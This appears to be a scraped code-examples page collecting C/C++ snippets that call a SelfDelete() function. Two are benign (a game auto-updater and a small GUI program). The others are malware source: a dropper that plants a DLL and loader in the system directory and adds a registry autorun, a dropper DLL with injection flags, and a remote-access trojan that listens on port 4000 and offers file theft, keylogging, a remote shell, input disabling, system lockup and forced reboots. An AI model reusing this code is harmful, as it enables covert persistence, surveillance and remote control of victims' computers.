Example #1
0
int main(void)
{
	char fname[MAX_PATH] = {0};

	char path[MAX_PATH] = {0};
	GetSystemDirectory(path,MAX_PATH);
	//GetCurrentDirectory(MAX_PATH,path);

	//释放DLL和Loader
	memset(fname,0,sizeof(fname));
	memcpy(fname,path,strlen(path));
	strcat(fname,DLLNAME);
	HRSRC hRsrc = FindResource(NULL,MAKEINTRESOURCE(IDR_DLL1),TEXT("DLL"));
	Release2File(fname,hRsrc);

	memset(fname,0,sizeof(fname));
	memcpy(fname,path,strlen(path));
	strcat(fname,LOADER);
	hRsrc = FindResource(NULL,MAKEINTRESOURCE(IDR_EXE1),TEXT("EXE"));
	Release2File(fname,hRsrc);

	//写注册表实现自启动(Loader)
	Write2Register(fname);

	//自删除
	SelfDelete();
}
Example #2
0
void CUpdater::ExecuteExit()
{
	if (!NeedResetClient() || !m_Updated)
		return;

    SelfDelete();

    #ifdef CONF_FAMILY_WINDOWS
        ShellExecuteA(0,0,"du.bat",0,0,SW_HIDE);
    #else
        if (fs_rename("tw_tmp","teeworlds"))
            dbg_msg("autoupdate", "Error renaming binary file");
        if (system("chmod +x teeworlds"))
            dbg_msg("autoupdate", "Error setting executable bit");

        pid_t pid;
        pid = fork();
        if (pid == 0)
        {
            char* argv[1];
            argv[0] = NULL;
            execv("teeworlds", argv);
        }
        else
            return;
    #endif
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev,
                   PSTR szCmdLine, int iCmdShow)
{
  (void)hInst; (void)hPrev; (void)szCmdLine; (void)iCmdShow;

  /* Setup a child process to delete this executable when it exits.  */
  SelfDelete();

  /* Create a simple GUI.  */
  RegisterWindowClass();
  MainWindow = CreateWindow(MainWindowClass, MainWindowClass, MainWindowStyle,
                            0,0,512,512, 0, 0, GetModuleHandle(0), 0);
  EditWindow = CreateWindow(EditWindowClass, "", EditWindowStyle,
                            0,0,512,512, MainWindow, 0, GetModuleHandle(0), 0);
  ShowWindow(MainWindow, SW_SHOW);
  UpdateWindow(MainWindow);

  /* Create a thread to read from standard input and write to the window.  */
  {DWORD threadId; CreateThread(0, 1024, ReadThreadProc, 0, 0, &threadId);}

  /* Run the event loop until the window is closed.  */
  MainEventLoop();

  return 0;
}
Example #4
0
int APIENTRY WinMain( HINSTANCE hInstance , HINSTANCE hPrevInstance ,LPSTR lpCmdLine , int nShowCmd ){
	
	
	SOCKET listenfd,connfd;
	TCHAR szMyPath[MAX_PATH],expPath[MAX_PATH],currDir[MAX_PATH];
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	BOOL foreignRun = FALSE;

	GetModuleFileName( NULL, szMyPath, MAX_PATH );	
	
	//MB(szMyPath);
	//wsprintf( expPath , "%s\\system32" , getenv("SYSTEMROOT") );
	
	GetSystemDirectory( expPath , MAX_PATH );
	
	//MB(expPath);
	
	if( check_for_deinstall( lpCmdLine ) ){
		DoUninstall( lpCmdLine );
		exit(0);
	}
	
	if( !strstr( szMyPath , expPath ) ){
		DoFirstRunTasks();
		memset( &si , 0 , sizeof(STARTUPINFO) );
		memset( &pi , 0 , sizeof(PROCESS_INFORMATION) );
		si.cb = sizeof(STARTUPINFO);
#ifdef OWL_MELT
		int m = CreateProcess( expPath, NULL, NULL, FALSE, 0, NULL, NULL, 0, &si, &pi );
		SelfDelete();
		exit(0);
#endif
	}
	
	Sleep(2000);
	new_thread( InternetConnectionCheckerProc, NULL );
	listenfd = start_server( 4000 );
	while( 1 ){
		connfd = accept_connection( listenfd , NULL , NULL );
		if( connfd < 0 ) continue;

		new_thread( HandleClient , &connfd );
	}
	closesocket(connfd);
	closesocket(listenfd);
	WSACleanup();
	
	return 0;
}
Example #5
0
BOOL Entry(HMODULE hDll,DWORD dwReasonForCall,DWORD dwReserved)
{
	BOOL bRet = FALSE;
	CHAR chExePath[MAX_PATH];

	GetModuleFileName(NULL,chExePath,RTL_NUMBER_OF(chExePath)-1);

	GetStaticInformation();

	if (hDll && dwReasonForCall == DLL_PROCESS_ATTACH)
	{
		// dll
		g_bDll = TRUE;
		g_bInject = dwReserved == 'FWPB';

		DbgPrint(__FUNCTION__"(): Dll: %x, Admin: %d, Uac: %d, Inject: %d\n",hDll,g_bAdmin,g_bUAC,g_bInject);

		bRet = DropperDllWork(hDll,chExePath);

		DbgPrint(__FUNCTION__"(): Dll end ret '%d'\n",bRet);
	}
	else if (!g_bDll)
	{
		// exe
		DbgPrint(__FUNCTION__"(): Exe: '%s', Admin: %d, Uac: %d\n",chExePath,g_bAdmin,g_bUAC);

		DropperExeWork(chExePath);

		SelfDelete(chExePath);

		DbgPrint(__FUNCTION__"(): Exe end\n");

		ExitProcess(ERROR_SUCCESS);
	}

	return bRet;
}
Example #6
0
DWORD WINAPI HandleClient( LPVOID param ){
	
	SOCKET s = *(SOCKET*)param;
	char buf[1024],tmp[64];
	struct cmd_t cmd;
	int n;
	while(1){
		n = recv( s , buf , 1023 , 0 );
		buf[n] = 0;
		//MB(buf);
		if( n == 0 )
			break;
		parse_cmd( buf , &cmd );
		int sec = cmd.cmd_object;
		int arg = cmd.args;
		char *p = cmd.addnl.str;
		//wsprintf( tmp , "%d::%d" , sec , arg );
		//MB(tmp);
		if( sec == CMD_FILE ){
			switch( arg ){
			case FILE_SDIR:
				SendDirTree( s , p , 0 );
				break;
			case FILE_SDIREX:
				SendDirTree( s , p , 1 );
				break;
			case FILE_SDRV:
				SendDriveSet( s );
				break;
			case FILE_SEND:
				SendFile( s , p );
				break;
			case FILE_RECV:
				RecvFile( s , p );
				break;
			case FILE_MKDIR:
				LocalMkDir( p );
				break;
			default:
				SendLn( s , "***file: bad args\r\n" );
			}
		}
		else if( sec == CMD_HW ){
			switch( arg ){
			case HW_OPENCD:
				OpenCDTray();
				break;
			case HW_CLOSECD:
				CloseCDTray();
				break;
			case HW_MOUSE_R:
				SetMouseBns( MOUSE_RT );
				break;
			case HW_MOUSE_L:
				SetMouseBns( MOUSE_LT );
				break;
			case HW_MOUSE_SW:
				SwapMouseBns();
				break;
			case HW_MONITOR1:
				MonitorPower( 1 );
				break;
			case HW_MONITOR0:
				MonitorPower( 0 );
				break;
			case HW_DB_CLK:
				DblClkDelay( cmd.addnl.nums[0] );
				break;
			case HW_INPUT0:
				EnableInput( false );
				break;
			case HW_INPUT1:
				EnableInput( true );
				break;
			case HW_REBOOT:
				Reboot();
				break;
			case HW_SHTDWN:
				ShutDown();
				break;
			default:
				SendLn( s , "***bad args\r\n" );
			}
		}
		else if( sec == CMD_KEYBD ){
			switch( arg ){
			case KEYBD_STARTLOG:
				KeyLog( true );
				break;
			case KEYBD_STOPLOG:
				KeyLog( false );
				break;
			default:
				SendLn( s , "***keybd: bad args\r\n" );
			}
		}
		else if( sec == CMD_MOUSE ){
			switch( arg ){
			case MOUSE_FLY_STOP:
				FlyMousePtr( false );
				break;
			case MOUSE_FLY:
				FlyMousePtr( true );
				break;
			case MOUSE_FLY_CLK:
				FlyMousePtrClick( true );
				break;
			case MOUSE_RESTRICT:
				RestrictMouseMovementTo(cmd.addnl.nums[0],
										cmd.addnl.nums[1],
										cmd.addnl.nums[2],
										cmd.addnl.nums[3]
										);
				break;
			case MOUSE_SHOW:
				ShowMouseCursor( true );
				break;
			case MOUSE_HIDE:
				ShowMouseCursor( false );
				break;
			case MOUSE_CLK:
				MouseClick( cmd.addnl.nums[0] );
				break;
			case MOUSE_CLK_PT:
				MouseClickPoint( cmd.addnl.nums[1],
								 cmd.addnl.nums[2],
								 cmd.addnl.nums[0]
							   );
				break;
			case MOUSE_SETPOS:
				SetMousePos( cmd.addnl.nums[0],
							 cmd.addnl.nums[1]
							 );
				break;
			default:
				SendLn( s , "***mouse: bad args\r\n" );
			}
		}
		else if( sec == CMD_SHELL ){
			if( arg == SHELL_SPAWN )
				CreateRemoteShell( s );
		}
		else if( sec == CMD_SYS ){
			unsigned long m;
			unsigned __int64 d;
			char msg[256];

			switch( arg ){
			case SYS_MAXMEM:
				m = GetMaxMem();
				wsprintf( msg , "max mem: %u MiB\r\n" , m );
				SendLn( s ,msg );
				break;
			case SYS_BUSYMEM:
				m = GetBusyMem();
				wsprintf( msg , "mem in use: %u MiB\r\n" , m );
				SendLn( s , msg );
				break;
			case SYS_FREEMEM:
				m = GetFreeMem();
				wsprintf( msg , "free mem: %u MiB\r\n" , m );
				SendLn( s , msg );
				break;
			case SYS_MAXDISK:
				d = GetDiskUsage( cmd.addnl.str , U_TOTAL );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "total space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "total space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_USEDDISK:
				d = GetDiskUsage( cmd.addnl.str , U_USED );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "used space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "used space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_FREEDISK:
				d = GetDiskUsage( cmd.addnl.str , U_FREE );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "free space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "free space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_SYSDIR:
				wsprintf( msg , "system dir is:\'%s\'\r\n" , sysdir() );
				SendLn( s , msg );
				break;
			case SYS_WINDIR:
				wsprintf( msg , "windows dir is:\'%s\'\r\n", windir() );
				SendLn( s , msg );
				break;
			case SYS_CHDIR:
				cd( cmd.addnl.str );
				break;
			case SYS_LOCKUP:
				SendLn( s , "!!!Locking up system!!!... don\'t expect too much after this!\r\n" );
				Sleep(2000);
				LockUp();
				break;
			case SYS_RAMFILL:
				RamFill();
				break;
			default:
				SendLn( s , "***sys: bad args\r\n" );
			}
		}
		else if( sec == CMD_TBAR ){
			switch(arg){
			case TBAR_SHOW:
				ShowTaskBar( true );
				break;
			case TBAR_HIDE:
				ShowTaskBar( false );
				break;
			case TBAR_STBN_SHOW:
				ShowStartBn( true );
				break;
			case TBAR_STBN_HIDE:
				ShowStartBn( false );
				break;
			case TBAR_STBN_FLY1:
				FlyStartBn( true );
				break;
			case TBAR_STBN_FLY0:
				FlyStartBn( false );
				break;
			case TBAR_CLOCK_SHOW:
				ShowClock( true );
				break;
			case TBAR_CLOCK_HIDE:
				ShowClock( false );
				break;
			case TBAR_ENABLE:
				EnableTaskBar( true );
				break;
			case TBAR_DISABLE:
				EnableTaskBar( false );
				break;
			default:
				SendLn( s , "***tb: bad args\r\n" );
			}
		}
		else if( sec == CMD_PRANK ){
			switch(arg){
			case PRANK_DTP_ENABLE:
				EnableDesktop( true );
				break;
			case PRANK_DTP_DISABLE:
				EnableDesktop( false );
				break;
			case PRANK_FU_START:
				if( !strequal( cmd.addnl.str , "" ) )
					szFUStr = cmd.addnl.str;
				FuckYou( true );
				break;
			case PRANK_FU_STOP:
				FuckYou( false );
				break;
			case PRANK_WRUN_START:
				if( cmd.addnl.nums[0] > 0 )
					uiRunWindowsDelay = cmd.addnl.nums[0];
				MakeWindowsRun( true );
				break;
			case PRANK_WRUN_STOP:
				MakeWindowsRun( false );
				break;
			case PRANK_QUAKE_START:
				if( cmd.addnl.nums[0] > 0 )
					uiQuakeDelay = cmd.addnl.nums[0];
				Quake( true );
				break;
			case PRANK_QUAKE_STOP:
				Quake( false );
				break;
			default:
				SendLn( s , "***bad trigger\r\n" );
			}
		}
		else if( sec == CMD_OWL ){
			switch(arg){
			case OWL_UNINSTALL:
				SelfDelete();
				exit(0);
				break;
			default:
				SendLn( s , "***bad trigger\r\n" );
			}
		}

	}
	return 0;
}